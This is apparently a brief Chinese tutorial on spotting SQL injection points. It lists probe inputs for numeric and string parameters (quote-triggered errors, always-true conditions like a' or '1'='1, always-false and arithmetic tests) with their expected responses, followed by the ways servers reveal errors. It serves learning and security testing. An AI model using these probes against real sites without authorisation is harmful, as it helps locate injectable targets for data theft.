1.注入点判断
传入SQL语句可控参数分为两类
1. 数字类型,参数不用被引号括起来,如?id=1
2. 其他类型,参数要被引号扩起来,如?name="phone"
判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入
其他类型
构造测试 预期结果 变种
a' //触发错误,返回数据库错误
a' or '1'='1 //永真条件,返回所有记录 a') or ('1'=1
a' or '1'='2 //空条件,返回原来相同结果 a') or ('1'=2
a' and '1'='2 //永假条件,不返回记录 a') and ('1'='2
数字类型
构造测试 预期结果 变种
' //触发错误,返回数据库错误
1+1 //返回原来相同的结果 3-1
1+0 //返回原来相同的结果
1 or 1=1 //永真条件,返回所有记录 1) or (1=1
1 or 1=2 //空条件,返回原来相同的结果 1) or (1=2
1 and 1=2 //永假条件,不返回记录 1) and (1=2
2.服务端返回错误形式
- 错误直接回显在页面上
- 错误隐藏在页面源代码中
- 检测到错误跳转到另一个页面
- 返回HTTP错误代码500或重定向302
- 适当处理错误结果,常显示一个通用错误页面